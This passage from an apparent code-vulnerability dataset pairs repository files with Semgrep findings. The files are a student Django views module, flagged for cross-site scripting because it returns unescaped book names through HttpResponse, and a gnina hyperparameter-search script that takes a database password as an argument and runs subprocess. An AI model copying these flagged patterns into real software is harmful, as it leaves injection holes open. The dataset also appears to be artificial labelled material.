cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 269, "line_end": 269, "column_start": 14, "column_end": 70, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/579a968537220755.py", "start": {"line": 269, "col": 14, "offset": 7971}, "end": {"line": 269, "col": 70, "offset": 8027}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_579a968537220755_96187ffd", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 279, "line_end": 279, "column_start": 18, "column_end": 59, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/579a968537220755.py", "start": {"line": 279, "col": 18, "offset": 8341}, "end": {"line": 279, "col": 59, "offset": 8382}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_579a968537220755_7ba04776", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 285, "line_end": 285, "column_start": 18, "column_end": 61, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/579a968537220755.py", "start": {"line": 285, "col": 18, "offset": 8650}, "end": {"line": 285, "col": 61, "offset": 8693}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_579a968537220755_7ea22d6f", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 291, "line_end": 291, "column_start": 14, "column_end": 69, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/579a968537220755.py", "start": {"line": 291, "col": 14, "offset": 8968}, "end": {"line": 291, "col": 69, "offset": 9023}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 8 | true | [
"CWE-78",
"CWE-79",
"CWE-116"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.flask.security.xss.audit.direct-use-of-jinja2",
"rules.python.jinja2.security.audit.missing-autoescape-disabled"
] | [
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"MEDIUM"
] | [
"HIGH",
"MEDIUM",
"MEDIUM"
] | [
74,
156,
156
] | [
77,
157,
157
] | [
16,
15,
15
] | [
41,
53,
53
] | [
"A01:2017 - Injection",
"A07:2017 - Cross-Site Scripting (XSS)",
"A03:2021 - Injection"
] | [
"Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Detected direct us... | [
7.5,
5,
5
] | [
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"MEDIUM",
"MEDIUM"
] | magdev.py | /magdev.py | tzp-software/magdev | MIT | |
2024-11-18T19:44:16.936142+00:00 | 1,550,804,189,000 | 9bff7687eb3386947f3a449d32801c60ff985a7d | 3 | {
"blob_id": "9bff7687eb3386947f3a449d32801c60ff985a7d",
"branch_name": "refs/heads/master",
"committer_date": 1550804189000,
"content_id": "8746965d2843c433ebe24c1302ba9cba93a626bf",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "a23ae3d3c2e5e933a427062d777ff94def316242",
"extension": "py",
"filename": "views.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 171911103,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 884,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/models3CWProject/models3App/views.py",
"provenance": "stack-edu-0054.json.gz:580496",
"repo_name": "cs-fullstack-2019-spring/django-models3-cw-Joshtg1104",
"revision_date": 1550804189000,
"revision_id": "c6f40c28afdf5730d3952e40ec36c752b47a450b",
"snapshot_id": "e2180072d956574b4d66efb7257b4b203810e330",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/cs-fullstack-2019-spring/django-models3-cw-Joshtg1104/c6f40c28afdf5730d3952e40ec36c752b47a450b/models3CWProject/models3App/views.py",
"visit_date": "2020-04-24T10:57:42.309000"
} | 2.859375 | stackv2 | from django.shortcuts import render
from django.http import HttpResponse
from .models import Book
# Create your views here.
def index(request):
return HttpResponse("Test URL")
# returns titles of every book
def bookTitle(request):
titles = ""
everybook = Book.objects.all()
for eachElement in everybook:
titles += eachElement.name + "<br>"
return HttpResponse(titles)
# Filters out books after specific publish date
def pub2018OrByond(request):
books2018AndOver = Book.objects.filter(publishDate__gte='2018-01-01')
return HttpResponse(books2018AndOver)
#Attempted to get it to work but it doesn't from what I could do with the time I had.
def updateGenre(request):
changeFiction = Book.objects.filter(publishDate__gte='2018-01-01')
changeFiction = changeFiction[0]
changeFiction[0].genre = "Fiction"
changeFiction[0].save()
| 31 | 27.52 | 85 | 10 | 231 | python | [{"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_f1dfcd004eca0f9c_5e887a91", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 12, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmppq52ww6s/f1dfcd004eca0f9c.py", "start": {"line": 19, "col": 12, "offset": 381}, "end": {"line": 19, "col": 32, "offset": 401}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_f1dfcd004eca0f9c_08c5e024", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 12, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmppq52ww6s/f1dfcd004eca0f9c.py", "start": {"line": 24, "col": 12, "offset": 565}, "end": {"line": 24, "col": 42, "offset": 595}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-79",
"CWE-79"
] | [
"rules.python.django.security.audit.xss.direct-use-of-httpresponse",
"rules.python.django.security.audit.xss.direct-use-of-httpresponse"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
19,
24
] | [
19,
24
] | [
12,
12
] | [
32,
42
] | [
"A07:2017 - Cross-Site Scripting (XSS)",
"A07:2017 - Cross-Site Scripting (XSS)"
] | [
"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.",
"Detected data rendered directly to the end user via 'HttpRes... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | views.py | /models3CWProject/models3App/views.py | cs-fullstack-2019-spring/django-models3-cw-Joshtg1104 | Apache-2.0 | |
2024-11-18T19:44:17.800580+00:00 | 1,659,296,135,000 | 389ccaa1bdf0d657996f2ad302db1caede1ab00f | 2 | {
"blob_id": "389ccaa1bdf0d657996f2ad302db1caede1ab00f",
"branch_name": "refs/heads/master",
"committer_date": 1659296135000,
"content_id": "981ed25bba5340de8b34010e960a23929e18d557",
"detected_licenses": [],
"directory_id": "b470776f4c614e1f2a8c295b565a2466adfd75c8",
"extension": "py",
"filename": "incremental_addrequests.py",
"fork_events_count": 118,
"gha_created_at": 1456588807000,
"gha_event_created_at": 1642106645000,
"gha_language": "Jupyter Notebook",
"gha_license_id": "BSD-3-Clause",
"github_id": 52674832,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8479,
"license": "",
"license_type": "permissive",
"path": "/affinity_search/incremental_addrequests.py",
"provenance": "stack-edu-0054.json.gz:580506",
"repo_name": "gnina/scripts",
"revision_date": 1659296135000,
"revision_id": "c338dcaf54c92e72f3a53de70f5cae58e634d65e",
"snapshot_id": "9a5f971d4d06888ee5824f9560eeccbeffef9d2d",
"src_encoding": "UTF-8",
"star_events_count": 21,
"url": "https://raw.githubusercontent.com/gnina/scripts/c338dcaf54c92e72f3a53de70f5cae58e634d65e/affinity_search/incremental_addrequests.py",
"visit_date": "2022-08-05T14:40:59.014795"
} | 2.421875 | stackv2 | #!/usr/bin/env python
'''Checks an sql database to determine what jobs to run next for
hyperparameter optimization.
Works incrementally by taking a prioritized order for evaluating
parameters. It is assumed the database is already populated with at least
one good model. The best model is identified according to some metric
(I'm thinking R, or maybe top*R - an average of identical models is taken). The parameters
for this model become the defaults. Then, in priority order, the i'th parameter is considered
We compoute the average metric for all evaluated models. We ignore models that don't
have a required number of minimum evaluations
We check if the metric has improved on the previous last best
If it hasn't:
All paramters > i are set so they only have defaults as options in the spearmint config
Any result rows that do not match the defaults for parameters >i are omitted.
We run spearmint to get new suggestions and add them to the database
Otherwise
We increment i and save information (best value at previous level
Note this stores ongoing information in a file INCREMENTAL.info
If this file doesn't exist we start from the beginning.
'''
import sys, re, MySQLdb, argparse, os, json, subprocess
import pandas as pd
import makemodel
import numpy as np
from MySQLdb.cursors import DictCursor
from outputjson import makejson
from populaterequests import addrows
def getcursor():
'''create a connection and return a cursor;
doing this guards against dropped connections'''
conn = MySQLdb.connect (host = args.host,user = "opter",passwd=args.password,db=args.db)
conn.autocommit(True)
cursor = conn.cursor(DictCursor)
return cursor
parser = argparse.ArgumentParser(description='Generate more configurations if needed')
parser.add_argument('--host',type=str,help='Database host',required=True)
parser.add_argument('-p','--password',type=str,help='Database password',required=True)
parser.add_argument('--db',type=str,help='Database name',default='database')
parser.add_argument('--pending_threshold',type=int,default=12,help='Number of pending jobs that triggers an update')
parser.add_argument('-n','--num_configs',type=int,default=5,help='Number of configs to generate - will add a multiple as many jobs')
parser.add_argument('-s','--spearmint',type=str,help='Location of spearmint-lite.py',required=True)
parser.add_argument('--model_threshold',type=int,default=12,help='Number of unique models to evaluate at a level before giving up and going to the next level')
parser.add_argument('--priority',type=file,help='priority order of parameters',required=True)
parser.add_argument('--info',type=str,help='incremental information file',default='INCREMENTAL.info')
parser.add_argument('--mingroup',type=int,help='required number of evaluations of a model for it to count',default=5)
args = parser.parse_args()
# first see how many id=REQUESTED jobs there are
cursor = getcursor()
cursor.execute('SELECT COUNT(*) FROM params WHERE id = "REQUESTED"')
rows = cursor.fetchone()
pending = list(rows.values())[0]
#get options
options = sorted(makemodel.getoptions().items())
#print "Pending jobs:",pending
sys.stdout.write('%d '%pending)
sys.stdout.flush()
#if more than pending_threshold, quit
if pending > args.pending_threshold:
sys.exit(0)
#create gnina-spearmint directory if it doesn't exist already
if not os.path.exists('gnina-spearmint-incremental'):
os.makedirs('gnina-spearmint-incremental')
#read in prioritized list of parameters
params = args.priority.read().rstrip().split()
#get data and compute average metric of each model
cursor.execute('SELECT * FROM params')
rows = cursor.fetchall()
data = pd.DataFrame(list(rows))
#make errors zero - appropriate if error is due to parameters
data.loc[data.id == 'ERROR','R'] = 0
data.loc[data.id == 'ERROR','rmse'] = 0
data.loc[data.id == 'ERROR','top'] = 0
data.loc[data.id == 'ERROR','auc'] = 0
nonan = data.dropna('index')
grouped = nonan.groupby(params)
metrics = grouped.mean()[['R','top']]
metrics = metrics[grouped.size() >= args.mingroup]
metrics['Rtop'] = metrics.R * metrics.top
defaultparams = metrics['Rtop'].idxmax() #this is in priority order
bestRtop = metrics['Rtop'].max()
print("Best",bestRtop)
#figure out what param we are on
if os.path.exists(args.info):
#info file has what iteration we are on and the previous best when we moved to that iteration
(level, prevbest) = open(args.info).readlines()[-1].split()
level = int(level)
prevbest = float(prevbest)
else:
#very first time we've run
level = 0
prevbest = bestRtop
info = open(args.info,'w')
info.write('0 %f\n'%bestRtop)
info.close()
#check to see if we should promote level
if bestRtop > prevbest*1.01:
level += 1
info = open(args.info,'a')
info.write('%d %f\n' % (level,bestRtop))
info.close()
try: #remove pickle file in case number of parameters has changed
if level != 50: os.remove('gnina-spearmint-incremental/chooser.GPEIOptChooser.pkl')
except:
pass
#create config.json without defaulted parameters
config = makejson()
defaults = dict()
for (i,(name,value)) in enumerate(zip(params,defaultparams)):
if i > level:
defaults[name] = str(value)
del config[name]
cout = open('gnina-spearmint-incremental/config.json','w')
cout.write(json.dumps(config, indent=4)+'\n')
cout.close()
#output results.data using top*R
#don't use averages, since in theory spearmint will use the distribution intelligently
#also include rows without values to avoid repetition
resf = open('gnina-spearmint-incremental/results.dat','w')
uniqconfigs = set()
evalconfigs = set()
validrows = 0
for (i,row) in data.iterrows():
outrow = []
for (name,vals) in options:
if name == 'resolution':
val = str(float(row[name])) #gets returned as 1 instead of 1.0
else:
val = str(row[name])
if name in defaults: # is this row acceptable
if type(row[name]) == float or type(row[name]) == int:
if np.abs(float(defaults[name])-row[name]) > 0.00001:
break
elif row[name] != defaults[name]:
break
else:
outrow.append(val)
else: #execute if we didn't break
validrows += 1
uniqconfigs.add(tuple(outrow))
Rtop = row['R']*row['top']
if np.isfinite(Rtop):
resf.write('%f 0 '% -Rtop)
evalconfigs.add(tuple(outrow))
else:
resf.write('P P ')
#outrow is in opt order, but with defaults removed
resf.write(' '.join(outrow))
resf.write('\n')
resf.close()
gseed = len(uniqconfigs) #not clear this actually makes sense in our context..
print("Uniq configs:",gseed)
print("Evaled configs:",len(evalconfigs))
#a very generous threshold - multiply by level rather than keep track of number of uniq models in this level
threshold = (level+1)*args.model_threshold
if len(evalconfigs) > threshold:
#promote level, although this will not effect this invocation
level += 1
info = open(args.info,'a')
info.write('%d %f\n'%(level,bestRtop))
info.close()
try:
os.remove('gnina-spearmint-incremental/chooser.GPEIOptChooser.pkl')
except:
pass
# run spearmint-light, set the seed to the number of unique configurations
spearargs = ['python',args.spearmint, '--method=GPEIOptChooser', '--grid-size=20000',
'gnina-spearmint-incremental', '--n=%d'%args.num_configs, '--grid-seed=%d' % gseed]
print(' '.join(spearargs))
subprocess.call(spearargs)
#get the generated lines from the file
lines = open('gnina-spearmint-incremental/results.dat').readlines()
newlines = np.unique(lines[validrows:])
print(len(newlines),args.num_configs)
assert(len(newlines) > 0)
out = open('gnina-spearmint-incremental/newrows.dat','w')
for line in newlines:
vals = line.rstrip().split()
pos = 2
outrow = [vals[0],vals[1]]
for (name,_) in options:
if name in defaults:
outrow.append(defaults[name])
else: #not defaults in opt order
outrow.append(vals[pos])
pos += 1
assert(pos == len(vals))
out.write(' '.join(outrow))
out.write('\n')
print(' '.join(outrow))
out.close()
#add to database as REQUESTED jobs
addrows('gnina-spearmint-incremental/newrows.dat',args.host,args.db,args.password)
| 228 | 36.19 | 159 | 18 | 2,095 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_4ebf266e9c268cbb_1a0973b0", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 107, "line_end": 107, "column_start": 25, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/4ebf266e9c268cbb.py", "start": {"line": 107, "col": 25, "offset": 4453}, "end": {"line": 107, "col": 40, "offset": 4468}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_4ebf266e9c268cbb_4b442b9c", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 114, "line_end": 114, "column_start": 12, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/4ebf266e9c268cbb.py", "start": {"line": 114, "col": 12, "offset": 4633}, "end": {"line": 114, "col": 31, "offset": 4652}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_4ebf266e9c268cbb_eefb80eb", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 121, "line_end": 121, "column_start": 12, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/4ebf266e9c268cbb.py", "start": {"line": 121, "col": 12, "offset": 4801}, "end": {"line": 121, "col": 31, "offset": 4820}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_4ebf266e9c268cbb_e34a0653", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 139, "line_end": 139, "column_start": 8, "column_end": 59, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/4ebf266e9c268cbb.py", "start": {"line": 139, "col": 8, "offset": 5309}, "end": {"line": 139, "col": 59, "offset": 5360}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_4ebf266e9c268cbb_23299f52", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 147, "line_end": 147, "column_start": 8, "column_end": 59, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/4ebf266e9c268cbb.py", "start": {"line": 147, "col": 8, "offset": 5603}, "end": {"line": 147, "col": 59, "offset": 5654}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_4ebf266e9c268cbb_d9665833", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 190, "line_end": 190, "column_start": 12, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": 